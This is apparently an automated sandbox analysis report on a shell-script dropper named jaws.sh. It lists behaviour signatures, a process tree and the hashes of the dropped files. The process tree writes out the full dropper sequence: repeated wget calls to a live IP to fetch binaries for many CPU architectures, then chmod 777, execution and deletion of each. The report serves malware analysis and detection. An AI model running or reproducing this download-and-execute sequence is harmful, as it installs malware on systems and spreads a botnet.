Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20250610-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20250610-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    17/06/2025, 04:26

General

  • Target
    jaws.sh
  • Size 2KB
  • Sample250617-e2q5bsbn9w
  • SHA256 4668cc0e65567f34f0313a17aeaeff51496206add4a3dd82b3f4c04b3a66e9d9
  • MD5 SHA1 SHA512

Malware Config

Signatures

  • Contacts a large (3722) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 14 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 13 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads system routing table 1 TTPs 2 IoCs

    Gets active network interfaces from /proc virtual filesystem.

  • Reads process memory 1 TTPs 64 IoCs

    Read the memory of a process through the /proc virtual filesystem. This can be used to steal credentials.

  • Changes its process name 3 IoCs
  • Reads system network configuration 1 TTPs 2 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 6 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 13 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/jaws.sh
    /tmp/jaws.sh
    1⤵
    • Executes dropped EXE
    • Reads system routing table
    • Reads process memory
    • Changes its process name
    • Reads system network configuration
    • Reads runtime system information
    PID:1533
    • /usr/bin/wget
      wget http://104.167.221.114/mips
      2⤵
      • System Network Configuration Discovery
      • Writes file to tmp directory
      PID:1534
    • /bin/chmod
      chmod 777 mips
      2⤵
      • File and Directory Permissions Modification
      PID:1538
    • /tmp/mips
      ./mips jaws
      2⤵
      • System Network Configuration Discovery
      PID:1539
    • /bin/rm
      rm -rf mips
      2⤵
      • System Network Configuration Discovery
      PID:1541
    • /usr/bin/wget
      wget http://104.167.221.114/mipsel
      2⤵
      • System Network Configuration Discovery
      • Writes file to tmp directory
      PID:1542
    • /bin/chmod
      chmod 777 mipsel
      2⤵
      • File and Directory Permissions Modification
      PID:1543
    • /tmp/mipsel
      ./mipsel jaws
      2⤵
      • System Network Configuration Discovery
      PID:1544
    • /bin/rm
      rm -rf mipsel
      2⤵
      • System Network Configuration Discovery
      PID:1546
    • /usr/bin/wget
      wget http://104.167.221.114/sh4
      2⤵
      • Writes file to tmp directory
      PID:1547
    • /bin/chmod
      chmod 777 sh4
      2⤵
      • File and Directory Permissions Modification
      PID:1548
    • /tmp/sh4
      ./sh4 jaws
      2⤵
        PID:1549
      • /bin/rm
        rm -rf sh4
        2⤵
          PID:1551
        • /usr/bin/wget
          wget http://104.167.221.114/x86_64
          2⤵
          • Writes file to tmp directory
          PID:1552
        • /bin/chmod
          chmod 777 x86_64
          2⤵
          • File and Directory Permissions Modification
          PID:1553
        • /tmp/x86_64
          ./x86_64 jaws
          2⤵
          • Reads system routing table
          • Reads process memory
          • Changes its process name
          • Reads system network configuration
          • Reads runtime system information
          PID:1554
        • /bin/rm
          rm -rf x86_64
          2⤵
            PID:1557
          • /usr/bin/wget
            wget http://104.167.221.114/arm6
            2⤵
            • Writes file to tmp directory
            PID:1558
          • /bin/chmod
            chmod 777 arm6
            2⤵
            • File and Directory Permissions Modification
            PID:2379
          • /tmp/arm6
            ./arm6 jaws
            2⤵
              PID:2380
            • /bin/rm
              rm -rf arm6
              2⤵
                PID:2382
              • /usr/bin/wget
                wget http://104.167.221.114/i686
                2⤵
                • Writes file to tmp directory
                PID:2383
              • /bin/chmod
                chmod 777 i686
                2⤵
                • File and Directory Permissions Modification
                PID:2386
              • /bin/rm
                rm -rf i686
                2⤵
                  PID:2390
                • /usr/bin/wget
                  wget http://104.167.221.114/powerpc
                  2⤵
                  • Writes file to tmp directory
                  PID:2391
                • /bin/chmod
                  chmod 777 powerpc
                  2⤵
                  • File and Directory Permissions Modification
                  PID:2767
                • /tmp/powerpc
                  ./powerpc jaws
                  2⤵
                    PID:2768
                  • /bin/rm
                    rm -rf powerpc
                    2⤵
                      PID:2770
                    • /usr/bin/wget
                      wget http://104.167.221.114/x86
                      2⤵
                      • Writes file to tmp directory
                      PID:2771
                    • /bin/chmod
                      chmod 777 x86
                      2⤵
                      • File and Directory Permissions Modification
                      PID:2960
                    • /bin/rm
                      rm -rf x86
                      2⤵
                        PID:2964
                      • /usr/bin/wget
                        wget http://104.167.221.114/m68k
                        2⤵
                        • Writes file to tmp directory
                        PID:2965
                      • /bin/chmod
                        chmod 777 m68k
                        2⤵
                        • File and Directory Permissions Modification
                        PID:3326
                      • /tmp/m68k
                        ./m68k jaws
                        2⤵
                          PID:3327
                        • /bin/rm
                          rm -rf m68k
                          2⤵
                            PID:3329
                          • /usr/bin/wget
                            wget http://104.167.221.114/spc
                            2⤵
                            • Writes file to tmp directory
                            PID:3330
                          • /bin/chmod
                            chmod 777 spc
                            2⤵
                            • File and Directory Permissions Modification
                            PID:3518
                          • /tmp/spc
                            ./spc jaws
                            2⤵
                              PID:3519
                            • /bin/rm
                              rm -rf spc
                              2⤵
                                PID:3521
                              • /usr/bin/wget
                                wget http://104.167.221.114/arm
                                2⤵
                                • Writes file to tmp directory
                                PID:3522
                              • /bin/chmod
                                chmod 777 arm
                                2⤵
                                • File and Directory Permissions Modification
                                PID:3715
                              • /tmp/arm
                                ./arm jaws
                                2⤵
                                  PID:3716
                                • /bin/rm
                                  rm -rf arm
                                  2⤵
                                    PID:3718
                                  • /usr/bin/wget
                                    wget http://104.167.221.114/arm5
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:3719
                                  • /bin/chmod
                                    chmod 777 arm5
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:4067
                                  • /tmp/arm5
                                    ./arm5 jaws
                                    2⤵
                                      PID:4068
                                    • /bin/rm
                                      rm -rf arm5
                                      2⤵
                                        PID:4070
                                      • /usr/bin/wget
                                        wget http://104.167.221.114/ppc4fp
                                        2⤵
                                          PID:4071
                                        • /bin/chmod
                                          chmod 777 ppc4fp
                                          2⤵
                                          • File and Directory Permissions Modification
                                          PID:4101
                                        • /tmp/ppc4fp
                                          ./ppc4fp jaws
                                          2⤵
                                            PID:4102
                                          • /bin/rm
                                            rm -rf ppc4fp
                                            2⤵
                                              PID:4103
                                            • /usr/bin/wget
                                              wget http://104.167.221.114/arm7
                                              2⤵
                                              • Writes file to tmp directory
                                              PID:4104
                                            • /bin/chmod
                                              chmod 777 arm7
                                              2⤵
                                              • File and Directory Permissions Modification
                                              PID:4105
                                            • /tmp/arm7
                                              ./arm7 jaws
                                              2⤵
                                                PID:4106
                                              • /bin/rm
                                                rm -rf arm7
                                                2⤵
                                                  PID:4108

                                              Network

                                                    MITRE ATT&CK Enterprise v16

                                                    Replay Monitor

                                                    Loading Replay Monitor...

                                                    Downloads

                                                    arm

                                                    • Path /tmp/arm
                                                    • Size 98KB
                                                    • SHA256 9e774abe2146e123fc014227147fff9b934bce25186b23a4917ba4d48ee6534f
                                                    • MD5 SHA1 SHA512 SSDEEP

                                                    arm5

                                                    • Path /tmp/arm5
                                                    • Size 98KB
                                                    • SHA256 e70bcc50967d42e998fda61e96d4b02afcb214db17e187801d6efd6e00ef2654
                                                    • MD5 SHA1 SHA512 SSDEEP

                                                    arm6

                                                    • Path /tmp/arm6
                                                    • Size 113KB
                                                    • SHA256 42ef3caed92ec3ac1831c2fe5c911a0c0cdce56031c1b0f3f44d6478d9571c16
                                                    • MD5 SHA1 SHA512 SSDEEP

                                                    arm7

                                                    • Path /tmp/arm7
                                                    • Size 150KB
                                                    • SHA256 3902bc3972b09116c20172a0603592072d780a683cf026a5aaf69a2bee0b29c2
                                                    • MD5 SHA1 SHA512 SSDEEP

                                                    i686

                                                    • Path /tmp/i686
                                                    • Size 74KB
                                                    • SHA256 f3781943e3e1705b9aae678aceb2f639439b736c1e3bdc90c46094a815332c5f
                                                    • MD5 SHA1 SHA512 SSDEEP

                                                    m68k

                                                    • Path /tmp/m68k
                                                    • Size 80KB
                                                    • SHA256 c03dbdf9e3a866a3de4e0ee16f079074638861a0d43d405793820253f179c321
                                                    • MD5 SHA1 SHA512 SSDEEP

                                                    mips

                                                    • Path /tmp/mips
                                                    • Size 127KB
                                                    • SHA256 d13ef2d656203d17db903a9f0790a95d93b75df4c0dc5bfdbe317dc2efff80b3
                                                    • MD5 SHA1 SHA512 SSDEEP

                                                    mipsel

                                                    • Path /tmp/mipsel
                                                    • Size 127KB
                                                    • SHA256 9f9782b7ad49ef3f07de1857ef1d25533664c77756564499fd9d90ac9b8a7b1b
                                                    • MD5 SHA1 SHA512 SSDEEP

                                                    powerpc

                                                    • Path /tmp/powerpc
                                                    • Size 91KB
                                                    • SHA256 19c9de5d8df2080b4fa014822135c791ab6ac473908f8f59077f726a47bf4d68
                                                    • MD5 SHA1 SHA512 SSDEEP

                                                    sh4

                                                    • Path /tmp/sh4
                                                    • Size 86KB
                                                    • SHA256 8af6a72b858a3301a95026b32eec78d8340ed7d67088e9d40bd97d1ce172f8aa
                                                    • MD5 SHA1 SHA512 SSDEEP

                                                    spc

                                                    • Path /tmp/spc
                                                    • Size 102KB
                                                    • SHA256 bafd73e92927ce7fb9ff2c32b1363644ade1ed569d634df3f8e9eef45f67bcb4
                                                    • MD5 SHA1 SHA512 SSDEEP

                                                    x86

                                                    • Path /tmp/x86
                                                    • Size 74KB
                                                    • SHA256 6799639861c353722a3a6a4cebb20cfd6795ee38e714098e25a0419f21bb64a0
                                                    • MD5 SHA1 SHA512 SSDEEP

                                                    x86_64

                                                    • Path /tmp/x86_64
                                                    • Size 80KB
                                                    • SHA256 71fc57877fc30df8701b5074ea6ae938e8aa85935da4a308d2e5fa4a6cde4a9b
                                                    • MD5 SHA1 SHA512 SSDEEP